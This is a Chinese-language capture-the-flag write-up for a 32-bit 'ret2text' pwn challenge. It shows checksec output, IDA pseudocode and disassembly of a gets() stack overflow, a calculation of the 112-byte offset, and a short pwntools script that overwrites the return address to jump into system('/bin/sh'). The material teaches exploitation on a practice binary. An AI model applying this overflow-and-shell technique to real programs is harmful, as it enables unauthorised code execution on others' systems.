文件下载地址:
链接:https://pan.baidu.com/s/1_zJ6U5QYokpjSiYLjiM3iA
提取码:gqrc
0x01.checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
是一个32位程序。仅仅开启了堆栈不可执行。
0x02.IDA分析
查看伪码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(&s);
printf("Maybe I will tell you next time !");
return 0;
}
分析:
很明显gets处会发生溢出。
查看线程窗口:
看到了bin/sh,说明有系统调用,继续寻找调用的地址。
找到调用system的具体地方及地址:
查看汇编码:
.text:080485FD ; __unwind {
.text:080485FD push ebp
.text:080485FE mov ebp, esp
.text:08048600 sub esp, 28h
.text:08048603 mov dword ptr [esp], 0 ; timer
.text:0804860A call _time
.text:0804860F mov [esp], eax ; seed
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp+secretcode], eax
.text:0804861F lea eax, [ebp+input]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
.text:08048646
.text:08048646 locret_8048646: ; CODE XREF: secure+3B↑j
.text:08048646 leave
.text:08048647 retn
.text:08048647 ; } // starts at 80485FD
成功找到系统调用的地址: 0x0804863A
不是下一个直接调用的原因是我们需要的是覆盖返回地址,让函数返回到系统调用的地址。
0x03.计算偏移量
已经得到系统调用的地址,接下来只需要确定我们能够控制的位置,确定偏移量,覆盖返回地址就行。
看一下字符串s:
char s; // [esp+1Ch] [ebp-64h]
可以得知分配的大小是0x64 ,也就是100个字节,接下来我们只需要计算出s到ebp的位置就行了。
方法一:直接计算
在call get处下断点:
.text:08048648 ; __unwind {
.text:08048648 push ebp
.text:08048649 mov ebp, esp
.text:0804864B and esp, 0FFFFFFF0h
.text:0804864E add esp, 0FFFFFF80h
.text:08048651 mov eax, ds:stdout@@GLIBC_2_0
.text:08048656 mov dword ptr [esp+0Ch], 0 ; n
.text:0804865E mov dword ptr [esp+8], 2 ; modes
.text:08048666 mov dword ptr [esp+4], 0 ; buf
.text:0804866E mov [esp], eax ; stream
.text:08048671 call _setvbuf
.text:08048676 mov eax, ds:__bss_start
.text:0804867B mov dword ptr [esp+0Ch], 0 ; n
.text:08048683 mov dword ptr [esp+8], 1 ; modes
.text:0804868B mov dword ptr [esp+4], 0 ; buf
.text:08048693 mov [esp], eax ; stream
.text:08048696 call _setvbuf
.text:0804869B mov dword ptr [esp], offset s ; "There is something amazing here, do you"...
.text:080486A2 call _puts
.text:080486A7 lea eax, [esp+80h+s]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets
.text:080486B3 mov dword ptr [esp], offset format ; "Maybe I will tell you next time !"
.text:080486BA call _printf
.text:080486BF mov eax, 0
.text:080486C4 leave
.text:080486C5 retn
.text:080486C5 ; } // starts at 8048648
.text:080486C5 main endp
看到地址是:0x080486AE
我们得到了ebp和esp的地址(这个地址是不确定的)
我们可以大概理清一下栈内的情况:
所以我们可以计算处字符串s到ebp的位置:0xffffd4f8-0xffffd470-0x1c=6c(因为esp和s的相对索引已经确定)
而ebp占四个字节,所以偏移量是0x6c+4。
方法二:pattern脚本计算得出
首先生成一段随机的150字符:
pattern create 150
0x04.EXP
##!/usr/bin/env python
from pwn import *
r=process('./ret2text')
bin_sh=p32(0x0804863A)
payload=112*'A'+bin_sh
r.sendline(payload)
r.interactive()